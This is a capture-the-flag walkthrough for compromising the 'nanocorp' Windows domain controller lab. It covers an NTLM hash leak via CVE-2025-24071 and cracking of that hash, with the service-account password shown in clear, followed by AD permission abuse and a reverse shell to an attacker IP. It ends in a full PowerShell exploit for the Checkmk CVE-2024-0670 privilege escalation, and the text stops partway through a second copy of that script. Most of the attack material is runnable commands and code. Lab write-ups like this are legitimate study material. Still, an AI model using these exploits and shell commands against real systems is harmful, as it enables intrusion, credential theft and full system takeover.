RECON
Port Scan
$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://nanocorp.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-11-09 07:16:09Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: NANOCORP
| NetBIOS_Domain_Name: NANOCORP
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: nanocorp.htb
| DNS_Computer_Name: DC01.nanocorp.htb
| DNS_Tree_Name: nanocorp.htb
| Product_Version: 10.0.20348
|_ System_Time: 2025-11-09T07:17:11+00:00
| ssl-cert: Subject: commonName=DC01.nanocorp.htb
| Issuer: commonName=DC01.nanocorp.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-10-20T01:58:09
| Not valid after: 2026-04-21T01:58:09
| MD5: 4f00:467e:e490:4141:7c94:19b7:4ab3:76e6
| SHA-1: 0b96:8038:2148:abee:9372:2809:14f1:b62a:a539:320b
| -----BEGIN CERTIFICATE-----
| MIIC5jCCAc6gAwIB...
|_ssl-date: 2025-11-09T07:17:48+00:00; +7h00m00s from scanner time.
5986/tcp open ssl/http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Issuer: commonName=dc01.nanocorp.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-06T22:58:43
| Not valid after: 2026-04-06T23:18:43
| MD5: 2e3e:1a10:10b8:7f43:dc93:a4d9:05ef:6053
| SHA-1: 4674:6312:27ce:e783:91b7:ec00:1746:f114:d669:4ea0
| -----BEGIN CERTIFICATE-----
| MIIDMDCCAhigAwIB...
6556/tcp open check_mk syn-ack check_mk extension for Nagios 2.1.0p10
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
49671/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
56404/tcp open msrpc syn-ack Microsoft Windows RPC
56410/tcp open msrpc syn-ack Microsoft Windows RPC
56427/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Hosts: nanocorp.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 33065/tcp): CLEAN (Timeout)
| Check 2 (port 16915/tcp): CLEAN (Timeout)
| Check 3 (port 18773/udp): CLEAN (Timeout)
| Check 4 (port 20152/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-11-09T07:17:08
|_ start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59sClean AD footprint, one DC, Apache+PHP on Windows, WinRM open, and a juicy Check_MK agent leaking on 6556.
Web App
We begin at http://hire.nanocorp.htb — make sure it resolves locally via /etc/hosts. It presents as a corporate career portal:

It invites us to upload our résumé in ZIP format, running on a Windows backend. Classic trapdoor: file upload + archive extraction + Windows = exploitation sweet spot.

Recall CVE-2025-24071 — a Windows ZIP traversal exploit we weaponized in Fluffy writeup? That's likely to resurface here. We'll test that soon.
Check_MK Agent
Check_MK is an enterprise monitoring platform (Nagios lineage).
- Hosts run a lightweight agent that listens on TCP 6556 and dumps plaintext “facts” about the system.
- On Windows that's
check_mk_agent.exe+ the Agent Controllercmk-agent-ctl.
By default, the service serves on port 6556/tcp (plaintext by default):
$ nc -nv $targetIp 6556
10.129.111.122 6556 (checkmk-agent) open
<<<check_mk>>>
Version: 2.1.0p10
BuildDate: Aug 19 2022
AgentOS: windows
Hostname: DC01
Architecture: 64bit
WorkingDirectory: C:\Windows\system32
ConfigFile: C:\Program Files (x86)\checkmk\service\check_mk.yml
LocalConfigFile: C:\ProgramData\checkmk\agent\check_mk.user.yml
AgentDirectory: C:\Program Files (x86)\checkmk\service
PluginsDirectory: C:\ProgramData\checkmk\agent\plugins
StateDirectory: C:\ProgramData\checkmk\agent\state
ConfigDirectory: C:\ProgramData\checkmk\agent\config
TempDirectory: C:\ProgramData\checkmk\agent\tmp
LogDirectory: C:\ProgramData\checkmk\agent\log
SpoolDirectory: C:\ProgramData\checkmk\agent\spool
LocalDirectory: C:\ProgramData\checkmk\agent\local
[...nip...]
<<<ps:sep(9)>>>
[...nip...]
(\\NT AUTHORITY\SYSTEM,4048,18456,0,5784,3,29062500,55000000,315,2,6621) svchost.exe
(\\NANOCORP\web_svc,10152,1732,0,5620,9,2031250,5000000,172,1,6605) httpd.exe
(\\NANOCORP\web_svc,6552,1296,0,2604,6,1093750,937500,140,4,6605) conhost.exe
(\\NANOCORP\web_svc,47868,14840,0,4164,46,2031250,3125000,518,153,6600) httpd.exe
(\\NT AUTHORITY\LOCAL SERVICE,2616,13572,0,6420,2,937500,312500,237,3,6505) svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,15744,18704,0,5636,15,5781250,26562500,299,22,6504) svchost.exe
(\\NT AUTHORITY\SYSTEM,4028,11856,0,6612,3,312500,937500,259,6,6504) svchost.exe
(\\NT AUTHORITY\SYSTEM,7848,14332,0,6572,7,5000000,1093750,267,9,6504) svchost.exe
(\\NT AUTHORITY\SYSTEM,2660,12356,0,5436,2,312500,781250,232,7,6502) svchost.exe
(\\NT AUTHORITY\SYSTEM,6228,10908,0,1556,6,312500,312500,193,5,6051) svchost.exe
(SYSTEM,0,6704,0,2700,1,625000,7031250,275,8,5655) csrss.exe
(\\NT AUTHORITY\SYSTEM,2412,11116,0,6600,2,3281250,1250000,253,2,5655) winlogon.exe
(\\Font Driver Host\UMFD-2,1528,4300,0,6940,1,781250,468750,39,5,5647) fontdrvhost.exe
(\\Window Manager\DWM-2,11332,38008,0,5724,11,3437500,7031250,704,17,5647) dwm.exe
(\\NANOCORP\web_svc,2296,11428,0,4016,2,156250,1250000,303,6,5643) rdpclip.exe
(\\NANOCORP\web_svc,5024,26860,0,2540,4,3437500,4687500,502,11,5643) sihost.exe
(\\NANOCORP\web_svc,2772,13428,0,7164,2,781250,781250,220,3,5643) svchost.exe
(\\NANOCORP\web_svc,4948,25888,0,2200,4,7031250,1093750,319,2,5643) svchost.exe
(\\NANOCORP\web_svc,1996,11512,0,2492,1,0,468750,184,2,5643) taskhostw.exe
(\\NT AUTHORITY\SYSTEM,2848,15324,0,4912,2,781250,1250000,225,2,5643) svchost.exe
(\\NT AUTHORITY\SYSTEM,1564,7860,0,2476,1,0,156250,173,3,5643) svchost.exe
(\\NANOCORP\web_svc,3244,15264,0,2336,3,937500,312500,366,8,5642) ctfmon.exe
(\\NT AUTHORITY\SYSTEM,1968,11064,0,3820,1,312500,1406250,166,1,5642) svchost.exe
(\\NANOCORP\web_svc,26512,91916,0,5604,25,24687500,41093750,1581,35,5641) explorer.exe
(\\NANOCORP\web_svc,12680,54044,0,372,12,5312500,1562500,583,13,5635) StartMenuExperienceHost.exe
(\\NANOCORP\web_svc,10020,43480,0,5656,9,6093750,1406250,541,10,5635) TextInputHost.exe
(\\NANOCORP\web_svc,2652,16336,0,5336,2,0,781250,192,1,5634) RuntimeBroker.exe
(\\NANOCORP\web_svc,31056,63624,0,3264,30,12968750,3593750,689,19,5633) SearchApp.exe
(\\NANOCORP\web_svc,5240,22980,0,2608,5,1718750,8281250,312,2,5632) RuntimeBroker.exe
(\\NANOCORP\web_svc,2200,13160,0,7372,2,468750,625000,222,1,5630) RuntimeBroker.exe
(\\NT AUTHORITY\SYSTEM,8016,31128,0,7556,7,3437500,312500,355,5,5628) LogonUI.exe
(\\NANOCORP\web_svc,3148,12500,0,8032,3,312500,156250,203,1,5619) AzureArcSysTray.exe
(\\NANOCORP\web_svc,2236,14516,0,7320,2,156250,312500,171,2,5523) svchost.exe
(\\NT AUTHORITY\SYSTEM,24952,35216,0,1040,24,4375000,5937500,326,10,538) WmiPrvSE.exe
(\\NT AUTHORITY\SYSTEM,2980,13516,0,2484,2,312500,781250,244,5,208) svchost.exe
(SYSTEM,0,6928,0,6608,1,312500,781250,123,3,208) svchost.exe
C Nov 08 23:16:21 32768.23 KDC The KDC received invalid messages of type changepassword.
W Nov 08 23:17:06 0.36886 Schannel No suitable default server credential exists on this system. This will prevent server applications that expect to make use of the system default credentials from accepting SSL connections. An example of such an application is the directory server. Applications that manage their own credentials, such as the internet information server, are not affected by this. The SSPI client process is lsass (PID: 704).
W Nov 08 23:17:06 0.36886 Schannel No suitable default server credential exists on this system. This will prevent server applications that expect to make use of the system default credentials from accepting SSL connections. An example of such an application is the directory server. Applications that manage their own credentials, such as the internet information server, are not affected by this. The SSPI client process is lsass (PID: 704).
[...nip...]
[[[Windows PowerShell:missing]]]
<<<checkmk_agent_plugins_win:sep(0)>>>
pluginsdir C:\ProgramData\checkmk\agent\plugins
localdir C:\ProgramData\checkmk\agent\local
[...nip...]The Check_MK Windows agent running on the domain controller DC01:
- Web runs as a domain service account: multiple
httpd.exeprocesses are running asNANOCORP\web_svc. That's likely an SPN-bearing account (HTTP/*) → Kerberoast target. If that account applies weak password then its TGS will be crackable. - WinRM is enabled (auto) and RemoteRegistry is auto: remote management paths are open once we have creds.
- Check_MK version/paths:
2.1.0p10, config & plugin dirs underC:\ProgramData\checkmk\agent\.... This version falls in vulnerable range of CVE-2024-0670.
WEB
CVE-2025-24071
NTLMv2 Leak via .library-ms.
Overview
This bug weaponizes Windows File Explorer's trust in .library-ms files, triggering a SMB authentication leak during file preview or extraction. It's a spoofing vulnerability that causes NTLMv2 hashes to be sent to an attacker-controlled share via UNC paths.
Any ZIP upload feature on a Windows server should ring alarm bells — especially one like this.
More depth in the Fluffy writeup.
Attack Flow:
- Craft a
.library-mswhose<url>is\\ATTACKER_IP\share. - Place it inside a ZIP/RAR and lures the victim to extract it (or otherwise let Explorer index/preview it).
- Explorer's background parsing hits the UNC path → SMB auth to attacker → NTLMv2 hash captured (Responder/impacket).
PoC: ExploitDB #52310
Exploit
Grab the PoC from the ThemeHackers GitHub repo. Run:
python exploit.py -f Microsoft -i $attackerIp
This compresses a .library-ms file into a ZIP. Ready to bait the victim.
Start a responder listener:
sudo responder -I tun0Upload the ZIP. Sit back and capture the NTLMv2 hash:

Hashcat
With the NTLMv2 hash we can crack it directly with hashcat mode 5600 (netntlmv2) or John's netntlmv2.
hashcat -m 5600 -a 0 hash.txt path/to/rockyou.txt Normally, a service account isn't crackable — its password is often randomized and rotated by the domain controller. But in this case, it looks like we've hit a weak spot:
WEB_SVC::NANOCORP:c20b350de63975f6:9b177a91599ba038441b0515a67cf1ba:010100000000000080e339d5d150dc01c0e69ed4df847efe0000000002000800500039005a00560001001e00570049004e002d0053004e004700550041004b004c00410039005000300004003400570049004e002d0053004e004700550041004b004c0041003900500030002e00500039005a0056002e004c004f00430041004c0003001400500039005a0056002e004c004f00430041004c0005001400500039005a0056002e004c004f00430041004c000700080080e339d5d150dc010600040002000000080030003000000000000000000000000020000068e2148a7687b11b7a5ee9c7f8432f27119da63a083e40d780efa975583bf8bf0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0032000000000000000000:dksehdgh712!@#
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: WEB_SVC::NANOCORP:c20b350de63975f6:9b177a91599ba038...000000Verify the credential via Netexec:

Though web_svc only has LDAP access, it's clear this AD environment is vulnerable:
- NTLM is enabled
- And we now hold a compromised domain
serviceaccount — a golden key that can unlock full domain compromise.
USER
Enumeration
Netexec
Since NTLM is enabled, we check for coercion and relay vulnerabilities. Start with the spider_plus module of netexec.
However, SMB access requires Kerberos in our case. So we prep the Kerberos environment accordingly:
nxc smb dc01.nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' --generate-krb5-file ./krb5.conf
export KRB5_CONFIG=./krb5.confProbe SMB using ft.sh (time-skew wrapper) to handle the known drift discovered during scanning:
./ft.sh nanocorp.htb \
nxc smb dc01.nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' -M spider_plusError Countermeasure:
KRB_AP_ERR_SKEWKerberos doesn't tolerate time drift. If authentication fails due to skew, realign time using
faketime— as demonstrated Certified writeup — or deploy a shell wrapper (ft.sh) mentioned in the Haze writeup, tailored for Arch Linux. That's my play here.
Netexec pulls a TGT and probes share visibility:

This is a Web service account, so there's a chance it holds privileged tokens, especially for localhost services (see Signed writeup).
Turns out it doesn't — but we push forward.
We next check for NTLM reflection (CVE-2025-33073) via the ntlm_reflection module:
./ft.sh nanocorp.htb \
nxc smb dc01.nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' -M ntlm_reflection
Vulnerable.
To make it usable, we need a coerce primitive. Enter coerce_plus:
./ft.sh nanocorp.htb \
nxc smb dc01.nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' -M coerce_plus
Let's just say this domain is a complete DISASTER.
BloodHound
NTLM relaying opens a direct path to root — but first, let's map domain DACLs using bloodhound-python:
bloodhound-python \
-dc 'dc01.nanocorp.htb' -d 'nanocorp.htb' \
-u 'web_svc' -p 'dksehdgh712!@#' \
-ns $targetIp --zip -c All The graph says it all:

web_svchasAddSelfon groupIT_SUPPORTIT_SUPPORThasForceChangePasswordonmonitoring_svcmonitoring_svcis inREMOTE_MANAGEMENT
Even if PROTECTED USERS is involved, we've covered the bypasses in earlier writeups.
DACL Abuse
We escalate by hijacking monitoring_svc:
# AddSelf: join IT_SUPPORT
bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb \
-u 'web_svc' -p 'dksehdgh712!@#' \
add groupMember IT_SUPPORT web_svc
# ForceChangePassword: reset monitoring_svc
bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb \
-u 'web_svc' -p 'dksehdgh712!@#' \
set password monitoring_svc 'SuperStrongPassword!'
Only WinRMS (WinRM over SSL) is available, so we use evil_winrmexec.py from the Hercules writeup:
./ft.sh nanocorp.htb \
python evil_winrmexec.py -ssl \
nanocorp.htb/monitoring_svc:'SuperStrongPassword!'@dc01.nanocorp.htb -k
User monitoring_svc compromised. User flag captured.
ROOT
AV is active on the victim machine:

We're blocked by Defender's CIM provider — the cmdlet needs elevated privileges.
As mentioned earlier, the target is vulnerable to relaying attacks (NTLM or Kerberos), but that is the unintended path, which I will place it at the end of this writeup.
The intended path will be exploiting Check_MK LPE via CVE-2024-0670.
AV Bypass
With the creds in hand, we can pivot into web_svc using RunasCs:
.\RunasCs.exe web_svc "dksehdgh712!@#" powershell -r 10.10.16.2:60001 -b -l 2
Remember: monitoring_svc couldn't run Get-MpComputerStatus — insufficient privileges. But web_svc can:

We've got AV visibility and execution rights.
No TGT present — klist is empty and whoami /all can't resolve groups — but that's fine. We can execute malicious payloads as web_svc:

It turns out web_svc is privileged and has far less constraints in the domain. This paves the way for post-exploitation tools, LSASS access, or lateral pivoting.
Tunnelling
This step is not neccessary if we stick on the intended path (Check_MK LPE), but a prerequisite for the unintended path (NTLM relaying)
To reach the internal ports, we can launch Ligolo from the web_svc shell:

Tunnel spins up successfully.
Checkmk LPE
CVE-2024-0670
As previously identified, the Checkmk agent is exposed on DC01 (port 6556). Its version: 2.1.0p10 (Windows) — and it's running as SYSTEM.
We suspect the intended privesc path involves Checkmk — the link between its function and the monitoring_svc foothold is too aligned to ignore:
Checkmk 2.2 has arrived – and is ready to monitor your hybrid IT infrastructure... enhanced integrations and over 174 new or reworked checks and agents. Monitor your cloud assets...
This SEC Consult advisory details a local privilege escalation in Checkmk Agent for Windows — CVE-2024-0670.
Our target version, 2.1.0p10, is confirmed vulnerable. The agent runs as SYSTEM, making it the perfect escalation vector.
The exploit hinges on pre-planting read-only cmk_all_<PID>_<CTR>.cmd files in C:\Windows\Temp\ so when Checkmk generates & then executes its temp .cmd during certain actions, it hits our file and runs it as NT AUTHORITY\SYSTEM. Trigger choices: MSI repair or hammer the agent socket to force runs.
Cached MSI
To trigger repair, we need the local cached MSI path — it varies per system and is obfuscated. Pull it from the registry:
# Fast registry scrape for the MSI path
$msi = Get-ItemProperty `
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' |
Where-Object { $_.DisplayName -like 'Checkmk*' -or $_.Publisher -like '*tribe29*' } |
Select-Object -First 1 -ExpandProperty LocalPackageResult:
PS C:\temp> $msi
C:\Windows\Installer\1e6f2.msiTrial & Error
1) MSI paths & proof file
$MSI=(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties'|?{$_.DisplayName -like 'Checkmk*' -or $_.Publisher -like '*tribe29*'}|Select-Object -First 1 -Expand LocalPackage);$MSIDefine the path of proof file:
$OUT='C:\Windows\Temp\cmk_poc.txt'; if(Test-Path $OUT){rm $OUT -Force}2) Sanity: Temp write works
We cannot list C:\Windows\Temp, but we can write into it. Test run:
'ok'|Set-Content -Path C:\Windows\Temp\__cmk_test.tmp -Encoding ASCII -Force;Get-Content C:\Windows\Temp\__cmk_test.tmp;Remove-Item C:\Windows\Temp\__cmk_test.tmp -Force
3) Seed .cmd files
Top PID right now
PS C:\temp> (gps | sort id -desc | select -First 1 -Expand Id)
7976Now we can write to C:\Windows\Temp and got Top PID = 7976. Seed a tight window (±100 PIDs), ctr 0..1:
$Top=(gps|sort id -desc|select -First 1 -Expand Id);$Low=[Math]::Max(100,$Top-100);$High=$Top+100;$Ctrs=0..1;$ok=0;foreach($p in $Low..$High){foreach($c in $Ctrs){$f="C:\Windows\Temp\cmk_all_{0}_{1}.cmd" -f $p,$c;try{Set-Content -Path $f -Value "@echo off`r`nwhoami > `"$OUT`"" -Encoding ASCII -Force;attrib +R $f|Out-Null;$ok++}catch{}}};$ok
402 writes landed. That's plenty of buckshot.
Cleanup:
PowerShellRemove-Item 'C:\Windows\Temp\cmk_*' -Force -ErrorAction SilentlyContinue
4) Trigger: MSI self-repair & log
$LOG='C:\Windows\Temp\cmk_repair.log';Start-Process msiexec.exe -ArgumentList "/fa `"$MSI`" /qn /norestart /l*vx `"$LOG`"" -Wait;Get-Item $LOG|fl Length,LastWriteTimeLet's see what the MSI repair actually did:
PS C:\temp> $LOG='C:\Windows\Temp\cmk_repair.log'; Get-Content $LOG -Tail 120
=== Verbose logging started: 11/9/2025 6:24:22 Build type: SHIP UNICODE 5.00.10011.00 Calling process: C:\Windows\system32\msiexec.exe ===
MSI (c) (A0:C0) [06:24:22:404]: Resetting cached policy values
MSI (c) (A0:C0) [06:24:22:404]: Machine policy value 'Debug' is 0
MSI (c) (A0:C0) [06:24:22:404]: ******* RunEngine:
******* Product: {675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}
******* Action:
******* CommandLine: **********
MSI (c) (A0:C0) [06:24:22:436]: Client-side and UI is none or basic: Running entire install on the server.
MSI (c) (A0:C0) [06:24:22:436]: Grabbed execution mutex.
MSI (c) (A0:C0) [06:24:22:436]: Failed to connect to server. Error: 0x80070005
MSI (c) (A0:C0) [06:24:22:451]: Note: 1: 2774 2: 0x80070005
1: 2774 2: 0x80070005
MSI (c) (A0:C0) [06:24:22:451]: Failed to connect to server.
MSI (c) (A0:C0) [06:24:22:451]: MainEngineThread is returning 1601
=== Verbose logging stopped: 11/9/2025 6:24:22 ===Self-repair attempt failed: 0x80070005 / return 1601 → Windows Installer service refused the server-side repair from a non-elevated context.
So I ran the commands on
web_svcshell instead. The log shows:... Property(S): ProductState = 5 Property(S): PackageCode = {C49499D9-39CD-5055-9720-C96B27BE578C} Property(S): MsiLogFileLocation = C:\Windows\Temp\cmk_repair.log MSI (s) (54:DC) [06:35:37:295]: Note: 1: 1729 MSI (s) (54:DC) [06:35:37:295]: Note: 1: 2205 2: 3: Error MSI (s) (54:DC) [06:35:37:295]: Note: 1: 2228 2: 3: Error 4: SELECT `Message` FROM `Error` WHERE `Error` = 1729 MSI (s) (54:DC) [06:35:37:295]: Note: 1: 2205 2: 3: Error MSI (s) (54:DC) [06:35:37:295]: Note: 1: 2228 2: 3: Error 4: SELECT `Message` FROM `Error` WHERE `Error` = 1709 MSI (s) (54:DC) [06:35:37:295]: Product: Check MK Agent 2.1 -- Configuration failed. MSI (s) (54:DC) [06:35:37:295]: Windows Installer reconfigured the product. Product Name: Check MK Agent 2.1. Product Version: 2.1.0.50010. Product Language: 1033. Manufacturer: tribe29 GmbH. Reconfiguration success or error status: 1603. MSI (s) (54:DC) [06:35:37:295]: Closing MSIHANDLE (1) of type 790542 for thread 7132 MSI (s) (54:DC) [06:35:37:295]: Deferring clean up of packages/files, if any exist MSI (s) (54:DC) [06:35:37:295]: MainEngineThread is returning 1603 MSI (s) (54:48) [06:35:37:295]: RESTART MANAGER: Session closed. MSI (s) (54:48) [06:35:37:295]: No System Restore sequence number for this installation. ... MSI (c) (30:38) [06:35:37:311]: MainEngineThread is returning 1603 === Verbose logging stopped: 11/9/2025 6:35:37 ===ProductCode:
{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}; and we did force the repair to run!
Our logs tell the story:
- 1601/0x80070005 (client) = non-elevated msiexec couldn't hand off to the service.
- 1603 (server) = the service-side msiexec did run (reconfigure happened). That's the one that will drop/execute the temp
.cmdas SYSTEM.
5) Proof check
Did SYSTEM run our payload?
if(Test-Path $OUT){Get-Content $OUT}else{'no-proof-yet'}Failed for the moment. But we will now summarize from our failure.
PoC
After the trial and error, we observed distinctive behaviors between monitoring_svc and web_svc:
- web_svc (wins): Runs with elevated/service semantics and is allowed to trigger server-side MSI repair. In logs that shows up as "MSI (s)" lines and a return 1603—which, in this context, is success for our purposes (the agent was reconfigured/restarted under SYSTEM).
- monitoring_svc (limited): Attempts trigger client-side MSI with 1601 / 0x80070005 → no server-side repair, no agent restart, seeds never execute. Anything
monitoring_svcdrops inC:\Windows\Tempis typically readable by SYSTEM, but execution of unsigned EXEs from Temp is often blocked by WDAC/AppLocker/SRP/AV—the failure isn't about DACL ownership; it's policy, I think. - File semantics: Set Read-only (+R) flag on
cmk_all_<PID>_<CTR>.cmdto force the agent to reuse our pre-planted script instead of overwriting it during startup. - PID strategy: Start with a wide band (e.g.,
300–20000) to win the race, then narrow once we observe typical agent PIDs (often 1k–10k). Seed CTR=0 and CTR=1 and keep seeding during the repair window.
Therefore, we create a PoC script:
- Creates
C:\pwn\ - Seeds only the correct filename pattern:
C:\Windows\Temp\cmk_all_<PID>_1.cmd - Marks seeds read-only (the key to hijack)
- Triggers server-side MSI repair (works from
web_svccontext that can repair) - Verifies
C:\pwn\pwn.txtcontains who's running it (expectNT AUTHORITY\SYSTEM) - Seeds from 1000 to 10000, which falls in the range of host PIDs (tends to be 4 digits on our target).
# CVE-2024-0670 (Checkmk Agent 2.1.0p10, Windows)
# Flow: seed predictable ReadOnly .cmd -> MSI repair -> nudge agent -> verify C:\pwn\pwn.txt
param(
[int]$MinPID = 1000,
[int]$MaxPID = 10000,
[int]$SeedSeconds = 30,
[int]$NudgeCount = 120,
[switch]$NoRepair,
[switch]$Cleanup
)
$ErrorActionPreference = 'SilentlyContinue'
# Paths / payload
$ProofDir = 'C:\pwn'
$Proof = 'C:\pwn\pwn.txt'
$TempDir = 'C:\Windows\Temp'
$LogPath = Join-Path $TempDir 'cmk_repair.log'
try { New-Item -ItemType Directory -Path $ProofDir -Force | Out-Null } catch {}
# Resolve Checkmk MSI
$MSI = (
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' |
Where-Object { $_.DisplayName -like 'Checkmk*' -or $_.Publisher -like '*tribe29*' } |
Select-Object -First 1 -ExpandProperty LocalPackage
)
if ($MSI -and (Test-Path $MSI)) {
Write-Host "[*] MSI: $MSI"
} else {
Write-Host "[-] Could not resolve Checkmk MSI path (continuing if -NoRepair)."
}
# Batch payload written into cmk_all_<PID>_<CTR>.cmd
$Batch = '@echo off' + "`r`n" + 'mkdir C:\pwn 2>nul' + "`r`n" + 'whoami > "C:\pwn\pwn.txt"'
function Write-SeedFile([string]$Dest, [string]$Content){
try{
[System.IO.File]::WriteAllText($Dest, $Content, [System.Text.Encoding]::ASCII)
$cur = [System.IO.File]::GetAttributes($Dest)
[System.IO.File]::SetAttributes($Dest, ($cur -bor [System.IO.FileAttributes]::ReadOnly))
return $true
} catch { return $false }
}
# Continuous seeding loop for SeedSeconds seconds (CTR 0 and 1)
$deadline = (Get-Date).AddSeconds($SeedSeconds)
$ctrValues = 0,1
$seedOk = 0
while ((Get-Date) -lt $deadline) {
for ($guess = $MinPID; $guess -le $MaxPID; $guess++) {
foreach ($ctr in $ctrValues) {
$dest = "C:\Windows\Temp\cmk_all_{0}_{1}.cmd" -f $guess,$ctr
if (Write-SeedFile -Dest $dest -Content $Batch) { $seedOk++ }
}
}
}
Write-Host "[*] Seeded $seedOk read-only .cmd files across $MinPID..$MaxPID (CTR=0,1)"
# Trigger server-side repair (must be an account allowed to repair — e.g., web_svc)
if (-not $NoRepair -and $MSI) {
Write-Host "[*] Triggering server-side repair (silent, verbose log)..."
Start-Process msiexec.exe -ArgumentList "/fa `"$MSI`" /qn /norestart /l*vx `"$LogPath`"" -Wait
} elseif ($NoRepair) {
Write-Host "[*] Skipping repair (NoRepair set)."
}
# Nudge local agent to encourage temp activity
Write-Host "[*] Nudging local agent $NudgeCount times..."
for ($i=0; $i -lt $NudgeCount; $i++) {
try{
$c = New-Object Net.Sockets.TcpClient('127.0.0.1',6556)
$s = $c.GetStream()
$b = New-Object byte[] 256
$s.ReadTimeout = 800
try{ [void]$s.Read($b,0,$b.Length) }catch{}
}catch{}finally{
try{ if($s){$s.Close()} }catch{}
try{ if($c){$c.Close()} }catch{}
}
}
# Tail log if present (service context lines are "MSI (s)")
if (Test-Path $LogPath) {
Write-Host "[*] Tail of repair log:"
Get-Content $LogPath -Tail 30 | Out-Host
}
# Verify proof
Start-Sleep -Seconds 2
if (Test-Path $Proof) {
Write-Host "`n[+] Success. Contents of $Proof :"
Get-Content $Proof
} else {
Write-Host "`n[!] No proof yet."
Write-Host " Hints:"
Write-Host " - Run as an account that CAN repair (web_svc)."
Write-Host " - Increase -SeedSeconds (e.g., 40 or 60)."
Write-Host " - Widen band carefully: -MinPID 300 -MaxPID 20000."
Write-Host " - Confirm write perms: icacls C:\Windows\Temp (Users:(M) expected)."
Write-Host " - Check $LogPath (look for 'MSI (s)' and 'reconfigured the product')."
}
# Optional cleanup
if ($Cleanup) {
Write-Host "[*] Cleanup: removing seeded .cmd files..."
Get-ChildItem $TempDir -Filter 'cmk_all_*_0.cmd' -Force | Remove-Item -Force -ErrorAction SilentlyContinue
Get-ChildItem $TempDir -Filter 'cmk_all_*_1.cmd' -Force | Remove-Item -Force -ErrorAction SilentlyContinue
}Seed phase, we brute-force the likely PID band (MinPID..MaxPID) and write both variants:
cmk_all_<PID>_0.cmd
cmk_all_<PID>_1.cmdEach file contains a pure batch payload:
@echo off
mkdir C:\pwn 2>nul
whoami > "C:\pwn\pwn.txt"Then we set the Read-Only attribute so the agent will execute our file instead of overwriting it.
Repair phase, we call:
msiexec /fa "<msi>" /qn /norestart /l*vx C:\Windows\Temp\cmk_repair.logThis reconfigures/restarts the agent under SYSTEM, producing a new agent PID that should land somewhere within our seeded band.
Nudge phase (optional), we loop a few quick connections to 127.0.0.1:6556 to make the agent "work," which tends to tickle its temp script execution.
Proof:

The written C:\pwn\pwn.txt contains NT AUTHORITY\SYSTEM.
Privesc
To gain a SYSTEM shell, we'll add the batch with netcat, which won't be a bother for alerting AV, and have the agent (running as SYSTEM) execute it via the same Checkmk temp-file hijack.
Cleanup PoC stuff:
Remove-Item 'C:\Windows\Temp\cmk_*' -Force -ErrorAction SilentlyContinueUse this one-shot PoC (seed → repair → nudge → verify). Run it as web_svc (or any account that can trigger MSI repair):
# CVE-2024-0670 (Checkmk Agent 2.1.0p10, Windows)
# Flow: seed predictable ReadOnly .cmd -> MSI repair -> nudge agent -> arbitrary cmd
param(
[int]$MinPID = 1000,
[int]$MaxPID = 10000,
[int]$SeedSeconds = 30,
[int]$NudgeCount = 120,
[switch]$NoRepair,
[switch]$Cleanup
)
$ErrorActionPreference = 'SilentlyContinue'
# Paths / payload
$ProofDir = 'C:\pwn'
$Proof = 'C:\pwn\pwn.txt'
$TempDir = 'C:\Windows\Temp'
$LogPath = Join-Path $TempDir 'cmk_repair.log'
